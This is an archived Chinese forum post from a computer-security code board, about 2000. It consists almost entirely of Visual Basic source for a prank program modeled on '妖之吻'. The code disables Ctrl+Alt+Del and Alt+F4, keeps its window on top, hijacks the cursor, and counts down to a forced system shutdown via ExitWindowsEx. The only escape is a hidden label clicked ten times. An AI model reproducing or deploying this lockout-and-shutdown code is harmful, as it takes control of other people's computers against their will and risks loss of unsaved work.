精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>我对“妖之吻”类似的部分原理实现的程序(1)

主题:我对“妖之吻”类似的部分原理实现的程序(1)
发信人: hater()
整理人: (2000-04-08 21:14:50), 站内信件
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellEx

ecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile

 As String, ByVal lpParameters As String, ByVal lpDirectory As String,

 ByVal nShowCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, 

ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (

ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetCapture Lib "user32" (ByVal hwnd As Long) 

As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Const SW_NORMAL = 1
Private Const SW_HIDE = 0



Const EWX_SHUTDOWN = 1 '关闭系统
'【返回值】
'  Long,非零表示成功,零表示失败。

'【参数表】
'  uFlags ,Long, 指定下述一个或多个标志(用OR运算符合并到 一起)

'标志 值 意义
'EWX_FORCE 4  强迫中止没有响应的进程
'EWX_LOGOFF 0  中止进程,然后注销
'EWX_SHUTDOWN 1  关掉系统电源(如果可能的话,ATX电源就可以)
'EWX_REBOOT 2  重新引导系统
'  dwReserved,Long,保留,设为零
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, B

yVal Y As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long)

 As Long
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As L

ong, ByVal dwReserved As Long) As Long
Private Declare Function SystemParametersInfo Lib "user32" Alias "Syst

emParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal

 lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Const hWnd_TOPMOST = -1

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long

, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByV

al cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long



Public a As Integer
Public b As Integer
Public c As Integer

'此函数为屏闭ctrl+alt+del和alt+f4
Private Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub




Private Sub Form_Load()
Form2.Hide
Form2.Top = Form1.Top
Form2.Left = (Form1.Left + 5000)
a = 10
b = 0
c = 0
SetWindowPos Form1.hwnd, hWnd_TOPMOST, 0, 0, 0, 0, 3          '让窗体一

直在最前面
'Call ReleaseCapture
Call TaskBarVisible(True)         '隐藏任务栏 当值为true时为显示
Call DisableCtrlAltDelete(True)   '屏闭热键
Timer1.Enabled = False



End Sub

Private Sub Label1_Click()
b = b + 1
If b >= 10 Then
    Call DisableCtrlAltDelete(False)
    End
End If
End Sub


Private Sub Image1_Click()
Do While ShowCursor(True) < 0
Loop
Image1.Visible = False
Image2.Visible = False
Image3.Visible = False
Image4.Visible = True
Image5.Visible = True
Label1.Visible = True
Timer1.Enabled = True
End Sub

Private Sub Image2_Click()
Do While ShowCursor(True) < 0
Loop
Image1.Visible = False
Image2.Visible = False
Image3.Visible = False
Image4.Visible = True
Image5.Visible = True
Timer1.Enabled = True
End Sub

Private Sub Image2_MouseMove(Button As Integer, Shift As Integer, X As

Single, Y As Single)
Call SetCursorPos(((Form1.Left + Image1.Left) / 15) + 10, ((Form1.Top

+ Image1.Top) / 15) + 10)
Do While ShowCursor(True) < 0
Loop
End Sub

Private Sub Label2_Click()
Dim ret
ret = ShellExecute(Me.hwnd, "Open", "mailto:[email protected]", "", A

pp.Path, 1)
End Sub

Private Sub Timer1_Timer()
a = a - 1
Label1.Caption = CStr(a) '显示倒记时
If a <= 0 Then
If Not ExitWindowsEx(EWX_SHUTDOWN, 0) Then '如果没能成功重启
MsgBox ("我今天心情比较好,就放过你!")
End If
End
End If
End Sub


Private Sub TaskBarVisible(bState As Boolean)
Dim hwnd As Long
Dim lngState As Long
hwnd = FindWindow("Shell_TrayWnd", "")
If hwnd = 0 Then Exit Sub
If bState Then
lngState = SW_NORMAL
Else
lngState = SW_HIDE
End If
ShowWindow hwnd, lngState
End Sub

--
曾经有一份真诚的爱情放在我面前,我没有珍惜,等我失去的时候我才后悔莫及,人世间最痛苦的事莫过于此。如果上天能够给我一个再来一次的机会,我会对那个女孩说三个字:我爱你。

※ 修改:.hater 于 Apr  8 16:38:46 修改本文.[FROM: 202.108.126.97]
※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.108.126.97]

[关闭][返回]